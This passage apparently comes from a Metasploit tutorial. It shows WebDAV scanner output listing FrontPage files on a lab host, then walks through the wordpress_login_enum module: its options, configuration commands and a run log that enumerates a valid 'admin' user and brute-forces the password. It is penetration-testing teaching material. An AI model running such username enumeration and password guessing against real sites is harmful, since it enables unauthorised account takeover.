http://192.168.1.201/_vti_pvt/bots.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/deptodoc.btr

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/doctodep.btr

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/frontpg.lck

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/linkinfo.btr

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/service.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/service.lck

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/services.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/svcacl.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/uniqperm.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/writeto.cnf

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_script/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_txt/

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(webdav_website_content) > wordpress_login_enum a11y.text wordpress_login_enum

The wordpress_login_enum auxiliary module will brute-force a WordPress installation and first determine valid usernames and then perform a password-guessing attack. msf > use auxiliary/scanner/http/wordpress_login_enum

msf auxiliary(wordpress_login_enum) > show options

Module options (auxiliary/scanner/http/wordpress_login_enum):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE	true	yes	Perform brute force authentication
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

ENUMERATE_USERNAMES true yes Enumerate usernames

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RANGE_END 10 no Last user id to enumerate

RANGE_START 1 no First user id to enumerate

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

TARGETURI / yes The base path to the wordpress application

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VALIDATE_USERS true yes Validate usernames

VERBOSE true yes Whether to print output for all attempts

VHOST no HTTP server virtual host We configure the module first by pointing it to the path of wp-login.php on the target server. We then set our username and password files, set the RHOSTS value, and let it run. msf auxiliary(wordpress_login_enum) > set URI /wordpress/wp-login.php

URI => /wordpress/wp-login.php

```
msf auxiliary(wordpress_login_enum) > set PASS_FILE /tmp/passes.txt
PASS_FILE => /tmp/passes.txt
msf auxiliary(wordpress_login_enum) > set USER_FILE /tmp/users.txt
USER_FILE => /tmp/users.txt
msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(wordpress_login_enum) > run

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Running User
Enumeration
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking
Username:'administrator'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username:
'administrator'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking
Username:'admin'
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration- Username: 'admin' -
is VALID
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking
Username:'root'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username:
'root'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking
Username:'god'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username:
'god'
```

[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Found 1 valid user

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Running Bruteforce

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Skipping all but 1 valid user

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:''

[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'root'

[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'admin'

[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'god'

[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'

[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'s3cr3t'

[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - SUCCESSFUL login for 'admin' : 's3cr3t'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(wordpress_login_enum) > We can see in the above output that the module is efficient as it only brute-forces passwords against valid usernames and our scan did indeed turn up a valid set of credentials. Next Scanner MySQL Auxiliary Modules Prev Scanner FTP Auxiliary Modules